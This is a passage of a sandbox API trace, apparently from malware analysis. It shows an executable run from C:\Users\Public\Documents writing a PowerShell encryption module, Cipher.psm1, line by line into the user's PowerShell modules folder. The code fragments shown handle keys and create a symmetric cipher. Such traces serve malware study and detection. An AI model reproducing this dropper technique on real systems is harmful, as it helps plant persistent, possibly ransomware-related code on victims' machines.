lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce29c*=0x15, lpOverlapped=0x0) returned 1 [0063.124] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.126] _close (_FileHandle=3) returned 0 [0063.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb128 [0063.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.126] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.126] GetFileType (hFile=0x7) returned 0x2 [0063.127] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.127] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce484 | out: lpMode=0x1ce484) returned 1 [0063.127] _dup (_FileHandle=1) returned 3 [0063.127] _close (_FileHandle=1) returned 0 [0063.128] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.128] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce454, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.128] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.128] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.128] GetFileType (hFile=0x1c) returned 0x1 [0063.128] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x889 [0063.128] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce46c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce46c*=0) returned 0x888 [0063.128] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce464, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce460, lpOverlapped=0x0 | out: lpBuffer=0x1ce464*, lpNumberOfBytesRead=0x1ce460*=0x1, lpOverlapped=0x0) returned 1 [0063.128] GetConsoleTitleW (in: lpConsoleTitle=0x1ce284, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x80) returned 0x6012e0 [0063.129] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6012e0, Size=0x38) returned 0x6012e0 [0063.129] GetProcessHeap () returned 0x5d0000 [0063.129] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6012e0) returned 0x38 [0063.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4e) returned 0x601320 [0063.129] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce24c | out: _Buffer=" [Switch]$RemoveSource) \r\n") returned 30 [0063.129] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.129] GetFileType (hFile=0x1c) returned 0x1 [0063.129] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Switch]$RemoveSource) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Switch]$RemoveSource) \r\n", lpUsedDefaultChar=0x0) returned 31 [0063.129] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x1ce238, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce238*=0x1e, lpOverlapped=0x0) returned 1 [0063.129] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.131] _close (_FileHandle=3) returned 0 [0063.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb148 [0063.131] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.131] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.131] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.131] GetFileType (hFile=0x7) returned 0x2 [0063.133] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.133] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce420 | out: lpMode=0x1ce420) returned 1 [0063.134] _dup (_FileHandle=1) returned 3 [0063.135] _close (_FileHandle=1) returned 0 [0063.135] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.135] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce3f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.136] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.136] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.136] GetFileType (hFile=0x1c) returned 0x1 [0063.136] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8a7 [0063.136] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce408*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce408*=0) returned 0x8a6 [0063.136] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce400, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce3fc, lpOverlapped=0x0 | out: lpBuffer=0x1ce400*, lpNumberOfBytesRead=0x1ce3fc*=0x1, lpOverlapped=0x0) returned 1 [0063.136] GetConsoleTitleW (in: lpConsoleTitle=0x1ce220, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x84) returned 0x601378 [0063.136] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601378, Size=0x26) returned 0x601378 [0063.136] GetProcessHeap () returned 0x5d0000 [0063.136] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601378) returned 0x26 [0063.136] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x50) returned 0x6013a8 [0063.136] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce1e8 | out: _Buffer=" Begin { try { \r\n") returned 31 [0063.136] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.136] GetFileType (hFile=0x1c) returned 0x1 [0063.137] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Begin { try { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Begin { try { \r\n", lpUsedDefaultChar=0x0) returned 32 [0063.137] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0x1ce1d4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce1d4*=0x1f, lpOverlapped=0x0) returned 1 [0063.137] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.138] _close (_FileHandle=3) returned 0 [0063.139] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb168 [0063.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.139] GetFileType (hFile=0x7) returned 0x2 [0063.139] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.139] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce3bc | out: lpMode=0x1ce3bc) returned 1 [0063.139] _dup (_FileHandle=1) returned 3 [0063.140] _close (_FileHandle=1) returned 0 [0063.140] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.140] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce38c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.140] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.141] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.141] GetFileType (hFile=0x1c) returned 0x1 [0063.141] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8c6 [0063.141] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce3a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce3a4*=0) returned 0x8c5 [0063.141] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce39c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce398, lpOverlapped=0x0 | out: lpBuffer=0x1ce39c*, lpNumberOfBytesRead=0x1ce398*=0x1, lpOverlapped=0x0) returned 1 [0063.141] GetConsoleTitleW (in: lpConsoleTitle=0x1ce1bc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.141] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x10c) returned 0x601400 [0063.141] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601400, Size=0x6c) returned 0x601400 [0063.141] GetProcessHeap () returned 0x5d0000 [0063.141] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601400) returned 0x6c [0063.141] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x94) returned 0x601478 [0063.141] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce184 | out: _Buffer=" if($PSCmdlet.ParameterSetName -eq 'PlainText') { \r\n") returned 65 [0063.141] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.141] GetFileType (hFile=0x1c) returned 0x1 [0063.141] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSCmdlet.ParameterSetName -eq 'PlainText') { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSCmdlet.ParameterSetName -eq 'PlainText') { \r\n", lpUsedDefaultChar=0x0) returned 66 [0063.141] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x1ce170, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce170*=0x41, lpOverlapped=0x0) returned 1 [0063.142] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.143] _close (_FileHandle=3) returned 0 [0063.144] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb188 [0063.144] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.144] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.144] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.144] GetFileType (hFile=0x7) returned 0x2 [0063.144] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.144] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce358 | out: lpMode=0x1ce358) returned 1 [0063.144] _dup (_FileHandle=1) returned 3 [0063.145] _close (_FileHandle=1) returned 0 [0063.145] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.145] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce328, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.145] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.145] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.145] GetFileType (hFile=0x1c) returned 0x1 [0063.145] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x907 [0063.146] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce340*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce340*=0) returned 0x906 [0063.146] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce338, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce334, lpOverlapped=0x0 | out: lpBuffer=0x1ce338*, lpNumberOfBytesRead=0x1ce334*=0x1, lpOverlapped=0x0) returned 1 [0063.146] GetConsoleTitleW (in: lpConsoleTitle=0x1ce158, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x16c) returned 0x601518 [0063.146] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601518, Size=0x90) returned 0x601518 [0063.146] GetProcessHeap () returned 0x5d0000 [0063.146] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601518) returned 0x90 [0063.146] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc4) returned 0x6015b0 [0063.146] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce120 | out: _Buffer=" $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force} \r\n") returned 89 [0063.146] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.146] GetFileType (hFile=0x1c) returned 0x1 [0063.146] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force} \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force} \r\n", lpUsedDefaultChar=0x0) returned 90 [0063.146] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x1ce10c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce10c*=0x59, lpOverlapped=0x0) returned 1 [0063.146] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.148] _close (_FileHandle=3) returned 0 [0063.148] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb1a8 [0063.148] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.149] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.149] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.149] GetFileType (hFile=0x7) returned 0x2 [0063.149] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.149] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce2f4 | out: lpMode=0x1ce2f4) returned 1 [0063.149] _dup (_FileHandle=1) returned 3 [0063.150] _close (_FileHandle=1) returned 0 [0063.150] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.150] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.151] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.151] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.151] GetFileType (hFile=0x1c) returned 0x1 [0063.151] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x960 [0063.151] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce2dc*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce2dc*=0) returned 0x95f [0063.151] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce2d4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce2d0, lpOverlapped=0x0 | out: lpBuffer=0x1ce2d4*, lpNumberOfBytesRead=0x1ce2d0*=0x1, lpOverlapped=0x0) returned 1 [0063.151] GetConsoleTitleW (in: lpConsoleTitle=0x1ce0f4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x170) returned 0x601680 [0063.151] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601680, Size=0x9c) returned 0x601680 [0063.151] GetProcessHeap () returned 0x5d0000 [0063.151] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601680) returned 0x9c [0063.151] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc6) returned 0x601728 [0063.151] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce0bc | out: _Buffer=" $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) \r\n") returned 90 [0063.151] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.151] GetFileType (hFile=0x1c) returned 0x1 [0063.151] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) \r\n", lpUsedDefaultChar=0x0) returned 91 [0063.152] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x1ce0a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce0a8*=0x5a, lpOverlapped=0x0) returned 1 [0063.152] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.159] _close (_FileHandle=3) returned 0 [0063.160] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb1c8 [0063.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.160] GetFileType (hFile=0x7) returned 0x2 [0063.160] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.160] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce290 | out: lpMode=0x1ce290) returned 1 [0063.160] _dup (_FileHandle=1) returned 3 [0063.161] _close (_FileHandle=1) returned 0 [0063.161] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.161] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce260, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.161] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.161] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.161] GetFileType (hFile=0x1c) returned 0x1 [0063.161] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ba [0063.161] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce278*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce278*=0) returned 0x9b9 [0063.162] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce270, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce26c, lpOverlapped=0x0 | out: lpBuffer=0x1ce270*, lpNumberOfBytesRead=0x1ce26c*=0x1, lpOverlapped=0x0) returned 1 [0063.162] GetConsoleTitleW (in: lpConsoleTitle=0x1ce090, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x21c) returned 0x6017f8 [0063.162] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6017f8, Size=0xf2) returned 0x6017f8 [0063.162] GetProcessHeap () returned 0x5d0000 [0063.162] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6017f8) returned 0xf2 [0063.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x11c) returned 0x6018f8 [0063.162] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce058 | out: _Buffer=" $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) \r\n") returned 133 [0063.162] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.162] GetFileType (hFile=0x1c) returned 0x1 [0063.162] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) \r\n", lpUsedDefaultChar=0x0) returned 134 [0063.162] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x1ce044, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce044*=0x85, lpOverlapped=0x0) returned 1 [0063.162] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.164] _close (_FileHandle=3) returned 0 [0063.164] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb1e8 [0063.164] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.164] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.165] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.165] GetFileType (hFile=0x7) returned 0x2 [0063.165] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.165] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce22c | out: lpMode=0x1ce22c) returned 1 [0063.165] _dup (_FileHandle=1) returned 3 [0063.166] _close (_FileHandle=1) returned 0 [0063.166] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.166] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce1fc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.166] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.166] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.166] GetFileType (hFile=0x1c) returned 0x1 [0063.166] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3f [0063.167] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce214*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce214*=0) returned 0xa3e [0063.167] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce20c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce208, lpOverlapped=0x0 | out: lpBuffer=0x1ce20c*, lpNumberOfBytesRead=0x1ce208*=0x1, lpOverlapped=0x0) returned 1 [0063.167] GetConsoleTitleW (in: lpConsoleTitle=0x1ce02c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.167] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x184) returned 0x601a20 [0063.167] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x601a20, Size=0xa6) returned 0x601a20 [0063.167] GetProcessHeap () returned 0x5d0000 [0063.167] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x601a20) returned 0xa6 [0063.167] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd0) returned 0x601ad0 [0063.167] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cdff4 | out: _Buffer=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n") returned 95 [0063.167] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.167] GetFileType (hFile=0x1c) returned 0x1 [0063.167] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.167] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", lpUsedDefaultChar=0x0) returned 96 [0063.167] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1cdfe0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cdfe0*=0x5f, lpOverlapped=0x0) returned 1 [0063.167] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.169] _close (_FileHandle=3) returned 0 [0063.170] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb208 [0063.170] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.170] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.170] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.170] GetFileType (hFile=0x7) returned 0x2 [0063.170] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.170] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce1c8 | out: lpMode=0x1ce1c8) returned 1 [0063.170] _dup (_FileHandle=1) returned 3 [0063.171] _close (_FileHandle=1) returned 0 [0063.171] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.171] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce198, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.172] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.172] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.172] GetFileType (hFile=0x1c) returned 0x1 [0063.172] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa9e [0063.172] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce1b0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce1b0*=0) returned 0xa9d [0063.172] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce1a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce1a4, lpOverlapped=0x0 | out: lpBuffer=0x1ce1a8*, lpNumberOfBytesRead=0x1ce1a4*=0x1, lpOverlapped=0x0) returned 1 [0063.172] GetConsoleTitleW (in: lpConsoleTitle=0x1cdfc8, nSize=0x104 | out: 